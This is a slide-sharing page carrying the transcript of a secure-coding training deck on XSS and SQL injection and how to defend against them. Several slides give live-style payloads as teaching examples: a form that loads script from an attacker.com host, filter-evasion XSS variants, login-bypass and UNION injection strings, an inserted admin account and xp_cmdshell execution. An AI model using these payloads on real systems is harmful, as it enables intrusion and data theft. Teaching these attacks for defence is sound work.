Secure coding practice
Download
1 / 37

Secure Coding Practice - PowerPoint PPT Presentation


  • 193 Views
  • Uploaded on

Secure Coding Practice. Why Secure Code Is so Important. Web Application Vulnerability Statistics. Qualys last 200 Checks Web App: 40 (20%) XSS: 9 SQL Injection: 6 OS Injection: 5 Secunia October Advisories (73 total) Web App: 14 (19%) XSS: 4 SQL injection: 3

loader
I am the owner, or an agent authorized to act on behalf of the owner, of the copyrighted work described.
capcha
Download Presentation

PowerPoint Slideshow about ' Secure Coding Practice' - cruz-moore


An Image/Link below is provided (as is) to download presentation

Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author.While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server.


- - - - - - - - - - - - - - - - - - - - - - - - - - E N D - - - - - - - - - - - - - - - - - - - - - - - - - -
Presentation Transcript


Web application vulnerability statistics
Web Application Vulnerability Statistics

  • Qualys last 200 Checks

    • Web App: 40 (20%)

      • XSS: 9

      • SQL Injection: 6

      • OS Injection: 5

  • Secunia October Advisories (73 total)

    • Web App: 14 (19%)

      • XSS: 4

      • SQL injection: 3

  • SecurityFocus October Vulnerabilties (150 total)

    • Web App: 35 (23%)

      • XSS: 10

      • SQL Injection: 10

      • OS injection: 3


Statistics continued
Statistics Continued

  • Those statistics were only with Off-the-shelf web applications

  • Custom web applications tend to contain many more vulnerabilities

  • Very rare to find an application without at least one major web application vulnerability

  • 95% of applications tested contain an XSS vulnerability


Source review vs penetration test
Source Review vs Penetration Test

  • Penetration Test

    • Pros

      • Simulates real-world attack

      • Can be performed relatively quickly

    • Cons

      • Will never find all vulnerabilities

      • Only tests outer layer

      • Must be performed once the system is ready


Source review vs penetration test1
Source Review vs Penetration Test

  • Source Code Review

    • Pros

      • Ability to review all code

      • Finds vulnerabilities hidden inside conditional flows

      • Can be performed earlier in the project to catch vulnerabilities as soon as possible

    • Cons

      • Time consuming

      • Does not simulate a real-world attack


Security in the sdlc
Security In The SDLC

  • The Longer a security vulnerability is left unsolved, the more costly to resolve

  • Security should therefore be built into the SDLC to catch vulnerabilities as soon as possible

  • It is too late to wait until one week before go-live to get a security review performed


Standard sdlc
Standard SDLC

  • Requirements

  • Architecture/Design

  • Development

  • Integration Testing

  • Deployment

  • Maintenance


How security fits into the sdlc
How Security Fits Into The SDLC

  • Requirements

    • Initial risk assessment

    • Make security requirements explicit

    • Threat modelling during use cases

  • Architecture/Design

    • Design security review

  • Development

    • Application development standards

    • Iterative code reviews

    • Automated code testing


How security fits into the sdlc1
How Security Fits Into The SDLC

  • Integration Testing

    • Application penetration testing

    • Automated scanning

  • Deployment

    • Traditional go-live testing

  • Maintenance

    • Regression testing

    • Code reviews of changes

    • Operational procedure reviews


Why a coding policy is important
Why A Coding Policy Is Important

  • Developers are not security experts so need advice on how to code securely

  • Developers change over time

  • Outsourcing give little control over developers

    • A coding policy can help ensure security is at an adequate level

    • Make software acceptance dependant on compliance with the coding policy

  • Security techniques change over time



What is xss
What Is XSS?

  • XSS stands for Cross-Site Scripting

  • It is the ability of one person to inject HTML code into another person’s session

  • Generally comes in two forms:

    • Reflective (code stored in a URL, requires tricking a user to click on the URL)

    • Storage-based (code stored on the site, often does not require user interaction)


Why is it bad
Why Is It Bad?

  • XSS allows an attacker to manipulate the HTML of a web page.

  • Typical exploits include:

    • Page modification (defacement)

    • Redirection (for example login forms)

    • Site interaction on behalf of user (AJAX)

    • Pretty much anything you can do with JavaScript


Some myths about xss
Some Myths About XSS

  • XSS isn’t a real threat, it can’t do any real damage

  • WRONG

    • XSS can lead to a serious compromise of either the site or the victim

  • Examples

    • XSS-based worms

    • Myspace.com example

    • AJAX

    • Imagine an Internet Banking site where an XSS attack automatically checks your balance then transfers the maximum to an attacker’s account


Xss myths continued
XSS Myths Continued

  • An attacker has to trick a user into following a malicious link

  • WRONG

    • Storage-based XSS

  • Examples

    • XSS in registration page to compromise Admin

    • XSS in profile pages

    • XSS in messages/forums/bulletin boards


Xss myths continued1
XSS Myths Continued

  • I use post for all my input therefore I am safe from XSS

  • WRONG

    • an attacker can craft a page that POSTS to your site to cause XSS

  • Example

    • <body onload=form1.submit();>

    • <form1 action=“/postpage.asp” method=“POST”>

    • <input type=“text” value=“%3Cscript+src%3D%22http%3A%2F%2Fwww.attacker.com%2Fscript.js%22%2F%3E”>

    • </form>


Xss myths continued2
XSS Myths Continued

  • I filter < and > so I am safe

  • WRONG

    • Some types of XSS do not require < or >

  • Examples

    • " "onmouseover= "alert('XSS');

    • +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-


Issues with common methods to detect xss
Issues With Common Methods To Detect XSS

  • Common detection methods tend to rely on recognising dangerous characters

  • There is such a large variation in how these exploits can occur that detection is often difficult

  • Even vendors get it wrong:

    • .Net XSS filter bypass

    • foo.bar/test.asp?term=<%00SCRIPT>alert(‘XSS')</SCRIPT>


Multiple variations of xss
Multiple variations of XSS

  • <script>alert('XSS')</script>

  • <IMG SRC="javascript:alert('XSS');">

  • <IMG SRC=&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#39;&#88;&#83;&#83;&#39;&#41>

  • <IMG SRC=&#0000106&#0000097&#0000118&#0000097&#0000115&#0000099&#0000114&#0000105&#0000112&#0000116&#0000058&#0000097&#0000108&#0000101&#0000114&#0000116&#0000040&#0000039&#0000088&#0000083&#0000083&#0000039&#0000041>

  • <BODY ONLOAD=alert('XSS')>

  • +ADw-SCRIPT+AD4-alert('XSS');+ADw-/SCRIPT+AD4-

  • " "onmouseover= "alert('XSS');


How to defend against xss
How To Defend Against XSS

  • Only allow known good input

    • Numeric fields

    • Boolean fields

    • Alpha fields

    • AlphaNumeric fields

    • Length checked

  • If Special characters must be allowed, do not allow the following characters:

    • < > “ ' & + ; # / \ %

  • Always encode output as well as filtering input



What is sql injection
What Is SQL Injection?

  • Ability to execute unauthorised SQL statements by manipulating user input

    • SQLquery = “SELECT * FROM users WHERE username = ‘” + user + “' AND password = ‘” + password + “';”

    • http://www.target.com/login.asp?user=admin&password='%20OR%20'1'='1

    • Query becomes “SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1' = '1';”


Some myths about sql
Some Myths About SQL

  • Stored Procedures Protects Against SQL

  • WRONG

    • Stored procedures can use inputs to build a statement and then execute

  • Example

    CREATE PROCEDURE MyProc

    (@TableName varchar(255),

    @FirstName varchar(50),

    @LastName varchar(50))

    AS

    DECLARE @SQLStatement varchar(255)

    SELECT @SQLStatement = "SELECT * FROM " + @TableName + "WHERE FirstName = '" + @FirstName + "' AND LastName = '" + @LastName + "'"

    EXEC(@SQLStatement)


Sql myths continued
SQL Myths Continued

  • I Filter the ' character so I am safe from SQL

  • WRONG

    • if you have SQL that expects numeric, an attack does not need '

  • Example

    • “SELECT * FROM table WHERE int = @userinput;”

    • The attack can look like following:

      1 or 1=1

    • or

      1; insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)


Common sql injection variations
Common SQL Injection Variations

  • Standard - Using ' to close string

    • /vuln.asp?string='

  • Password Circumvention

    • /login.asp?user=admin&password='or'1'='1

  • Comment Injection

    • /login.asp?user=admin';--&password=whocares

  • SubSelects

    • /vuln.asp?string=' + (SELECT TOP 1 FieldName FROM TableName) + '


Sql injection variations continued
SQL Injection Variations Continued

  • Table Enumeration With UNION

    • /vuln.asp?string=' UNION ALL SELECT name,9,'a' FROM sysobjects where xtype='U

  • Statement Concatenation

    • /vuln.asp?string='; INSERT INTO adminusers (username,password) VALUES ('hacked', 'p0wn3d');--

  • Command Execution

    • /vuln.asp?string=';EXEC master.dbo.xp_cmdshell 'cmd.exe dir c:


Sql injection variations continued1
SQL Injection Variations Continued

  • Numeric Attack

    • /vuln.asp?int=1 or 1=1

  • Numeric Insertion

    • /vuln.asp?int=1; insert into users values( 666, char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), char(0x63)+char(0x68)+char(0x72)+char(0x69)+char(0x73), 0xffff)

  • Using Tab To Bypass Space Checks

    • /vuln.asp?string=‘%90+%90(SELECT%90TOP%901%90FieldName%90FROM%90TableName)%90+%90'


How to defend against sql injection
How To Defend Against SQL Injection

  • Only allow known good input

    • Numeric fields

    • Boolean fields

    • Alpha fields

    • AlphaNumeric fields

    • Length checked

  • If Special characters must be allowed, do not allow the following characters:

    • < > “ ' & + ; # / \ % {whitespace}


Sql injection defence continued
SQL Injection Defence Continued

  • Only use parameterised stored procedures

  • Never generate SQL statements on the fly using strings

  • Restrict the user account accessing the database

    • Only allow the user access to the specific stored procedures required

    • Remove access to master stored procedures (xp_cmdshell etc)


Why whitelist beats blacklist
Why Whitelist Beats Blacklist

  • As can be seen from the examples today, it is very difficult to know and block all variations of attacks

  • Therefore, using a blacklist to search for known bad data is risky

  • Best strategy is to know what data is expected and make sure this is true

  • Make your checks are as specific as possible:

    • Type of characters allowed

    • Length



Continued testing
Continued Testing

  • Any changes to the code can introduce new security vulnerabilities

  • All code changes should be checked to ensure they:

    • Comply with the coding policy

    • Do not introduce new security vulnerabilities

  • Security changes over time, what was secure today may not be secure in a year’s time

  • Make sure security tests are performed on a regular basis


Protect the source
Protect The Source

  • It is not enough to review one version of code

  • Must ensure that the ability to insert malicious code is minimised

  • Must ensure that access to source code is restricted (CISCO)


Testing tools
Testing Tools

  • Source Code Analysis

    • CodeScan (of course )

    • PMD

    • Findbugs

  • Automated Web Application Testing Tools

    • WebInspect

    • AppScan

    • AppDetective

    • ScanDo


References
References

  • Open Web Application Security Project

    http://www.owasp.org

  • XSS Cheatsheet

    http://ha.ckers.org/xss.html

  • Codescan Source code analysis Tool

    http://www.codescan.com



ad